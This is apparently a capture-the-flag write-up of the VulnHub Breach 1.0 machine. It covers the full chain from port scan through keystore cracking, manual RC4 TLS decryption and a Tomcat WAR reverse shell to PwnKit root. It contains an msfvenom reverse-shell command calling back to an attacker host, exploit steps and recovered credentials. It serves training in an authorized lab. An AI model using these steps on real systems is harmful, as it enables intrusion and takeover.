Writeup · VulnHub · Boot2Root

Breach 1.0

A box that pretends to be about exploitation but is really about credentials leaking everywhere — and one piece of legacy cryptography that modern tooling can no longer touch. The chain runs from a decoy-flooded port scan all the way to root through a hand-written TLS decryptor and a kernel-era privesc.

target 192.168.110.140 os Ubuntu 14.04.4 kernel 4.2.0-27 difficulty Beginner → Intermediate result root
// 00

Executive summary

Breach 1.0 deliberately blinds your scanner, hides credentials inside an image comment, a Java keystore, and an SSL packet capture, then gates its admin panel behind a cipher (RC4) that current Linux distributions have removed from their crypto libraries. The full path:

root@pen-test-lab:~ — kill-chain
# 1 nmap → :80 is the only real service behind ~100 fake ports # 2 web source → double-base64 comment → ImpressCMS creds (pgibbons) # 3 keystore → hidden .keystore cracked offline → RSA private key # 4 pcap → key decrypts captured TLS → Tomcat Manager password # 5 deploy → pure-Python RC4 client → WAR upload → shell as tomcat6 # 6 privesc → enumerate → PwnKit (CVE-2021-4034) → root

Two lessons worth internalizing: legacy crypto locks out modern tooling — we had to rebuild a TLS client twice — and disciplined enumeration beats guessing, with four privilege-escalation dead-ends eliminated by evidence before the real one was used.


PHASE 01 · reconnaissance

The decoy wall

# deliberately noisy — ~100 ports answer with nonsense banners
nmap -sV -Pn -T4 --top-ports 200 192.168.110.140

The scan returns about a hundred "open" ports with absurd, conflicting banners — a Cisco SSH daemon on 389, a Minix FTP server, a "CAFEiNi" trojan backdoor. None are real. The box runs a port-spoofing setup whose only purpose is to make nmap and nikto useless and waste the attacker's time. The single honest line:

80/tcp  open  http  Apache httpd 2.4.7 ((Ubuntu))
Takeaway. When every port looks open with nonsense banners, that is the signal — it's a decoy wall. Trust the one service that fingerprints cleanly and ignore the noise.
PHASE 02 · web foothold

Double-encoded credentials

The landing page links to initech.html and hides a base64 string in an HTML comment. Decoding it once yields another base64 string — it is encoded twice:

echo 'Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo' \
  | base64 -d | base64 -d
# -> pgibbons:damnitfeel$goodtobeagang$ta

These are credentials for the ImpressCMS employee portal at /impresscms/user.php. The whole box leans on an Office Space theme — Initech, Peter Gibbons, Milton, Bill Lumbergh.

Why it works. Developers routinely assume base64 is "encryption." It is just encoding. Anything in page source — comments included — is public.
PHASE 03 · the keystore

Cracking to a private key

A private message inside the portal points at http://192.168.110.140/.keystore — a password-protected Java KeyStore. Java keystores crack offline with John:

keystore2john .keystore > ks.hash
john ks.hash --wordlist=/usr/share/wordlists/rockyou.txt --format=keystore
# -> storepass: tomcat

With the store password, export the private key so other tools can use it:

keytool -importkeystore -srckeystore .keystore -destkeystore keystore.p12 \
        -deststoretype pkcs12 -srcstorepass tomcat -deststorepass tomcat
openssl pkcs12 -in keystore.p12 -nodes -nocerts -out tomcat.key -passin pass:tomcat

Inside is a single PrivateKeyEntry under alias tomcat — a 2048-bit RSA key. On its own a private key seems useless. Its value only becomes clear once we find the packet capture.

This is the hinge of the entire box. Hold that thought.
PHASE 04 · the packet capture

Decrypting TLS by hand

A hidden-content message points at a capture file at /impresscms/_SSL_test_phase1.pcap, containing TLS traffic to port 8443. The negotiated cipher suite:

TLS_RSA_WITH_RC4_128_MD5   (0x0004)

Why this capture is decryptable at all

derivation chain
RSA-decrypt(premaster) → PRF → master secret → PRF → key block → RC4 keystream → plaintext

Why Wireshark / tshark could not do it

Feeding tshark the private key produced nothing. Modern libgcrypt / OpenSSL 3.x have removed RC4 entirely — the tools load the key but cannot run the cipher, and fail silently. ssldump segfaulted. The decryption had to be implemented by hand in Python.

The four gotchas (each produces plausible-looking garbage, not an error)

A full, commented implementation (breach_tls_decrypt.py) recovers the plaintext HTTP:

python3 breach_tls_decrypt.py
# ...
# RECOVERED CREDENTIALS:
#    tomcat:Tt\5D8F(#!*u=G)4m7zB

The decrypted request authenticates to the renamed Tomcat Manager at /_M@nag3Me/html with HTTP Basic auth. Bill Lumbergh's in-game note said "my password is extremely secure." It was — right up until his own key decrypted his own traffic.

PHASE 05 · remote code execution

Fighting legacy TLS again

The Manager login sits behind the same obstacle, now live instead of recorded:

curl -sk --user 'tomcat:...' "https://192.168.110.140:8443/_M@nag3Me/text/list"
# curl: (35) SSL handshake failure

Confirming the cause:

nmap --script ssl-enum-ciphers -p 8443 192.168.110.140
#   TLSv1.0/1.1/1.2:  TLS_RSA_WITH_RC4_128_MD5   (and nothing else)

openssl ciphers -v 'ALL:@SECLEVEL=0' | grep -i rc4
#   (empty — RC4 is compiled out)

The server speaks only RC4-MD5, and Kali's OpenSSL has no RC4. Every tool that links system OpenSSL is locked out — curl, Python's ssl, stunnel, Metasploit's Tomcat modules. The fix is a client carrying its own crypto: tlslite-ng, a pure-Python TLS stack that still implements RC4.

Tomcat 6.0.39 HTML Manager only · no /text/ API CSRF nonce enforced

Tomcat 6 deploys through the HTML upload form at /_M@nag3Me/html/upload (field deployWar), and 6.0.39 enforces a CSRF nonce bound to the session — so the client must GET the Manager page for a fresh JSESSIONID + CSRF_NONCE, then POST the WAR reusing both in one shot.

# portable Java payload — build anywhere
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.3 LPORT=4444 \
         -f war -o shell.war
Gotcha. The first deploy registered the context but did not expand the WAR (404 on the JSP). An undeploy → redeploy fixed it cleanly — worth remembering when a Tomcat context shows "running" but serves nothing.

Trigger the JSP through the RC4 client and the shell lands:

id
uid=104(tomcat6) gid=112(tomcat6) groups=112(tomcat6)
hostname
Breach
PHASE 06 · privilege escalation

Enumerate, don't guess

Rather than reaching for the first exploit, each common vector was checked and eliminated by evidence:

VectorCheckResult
Custom croncat /etc/crontab, ls /etc/cron.dstock · nothing writable
sudosudo -n -lpassword required
Custom SUIDfind / -perm -4000all standard binaries
Root sniffer ("IDS" hint)3-min ps watch + getcap -r /no process · no caps
World-writable scriptread some_script.shASCII-art troll
MySQL root (blank pass)ImpressCMS $23$5000$ hashesPBKDF2 · CMS-only
pkexec SUIDUbuntu 14.04 / kernel 4.2PwnKit → root

With cron, sudo, SUID, and the sniffer all ruled out, the environment itself pointed to the answer: Ubuntu 14.04 / kernel 4.2 with SUID pkexec present — textbook PwnKit (CVE-2021-4034).

# must compile ON the target — a Kali binary links a newer glibc
cd /tmp
gcc -o pwn pwnkit.c      # NB: not 'pwnkit' — collides with the dir it creates
./pwn
id
uid=0(root) gid=0(root) groups=0(root),112(tomcat6)
Why it works. Pre-patch pkexec mishandles argc==0, letting an attacker-controlled environment variable (GCONV_PATH) force a malicious shared library to load as root. Any unpatched SUID pkexec on a 2014-era host is game over.

// remediation

What the defender should fix

// toolkit

Custom tooling built for this box

ArtifactPurpose
breach_tls_decrypt.pyHand-rolled RSA → RC4 TLS 1.2 decryptor for the capture
breach_tomcat_rc4.pyPure-Python (tlslite-ng) RC4 client — Manager auth + WAR deploy
pwnkit.cCVE-2021-4034 proof-of-concept (compiled on target)
root@pen-test-lab:~ — full chain
nmap (decoy wall) → :80 Apache └─ page source → base64 ×2 → pgibbons : ImpressCMS └─ /.keystore → keystore2john + rockyou → storepass "tomcat" └─ export RSA private key └─ _SSL_test_phase1.pcap + private key └─ hand-rolled RSA→RC4 decrypt → tomcat : Tt\5D8F(#!*u=G)4m7zB └─ tlslite-ng client → Tomcat 6 Manager → WAR deploy └─ shell as tomcat6 └─ enumerate (cron/sudo/suid/sniffer = dead ends) └─ PwnKit (CVE-2021-4034) → root
← all writeups

Lab environment · VulnHub boot2root performed in an isolated home lab. No production system was accessed. All testing described on this site is conducted only with prior written authorization.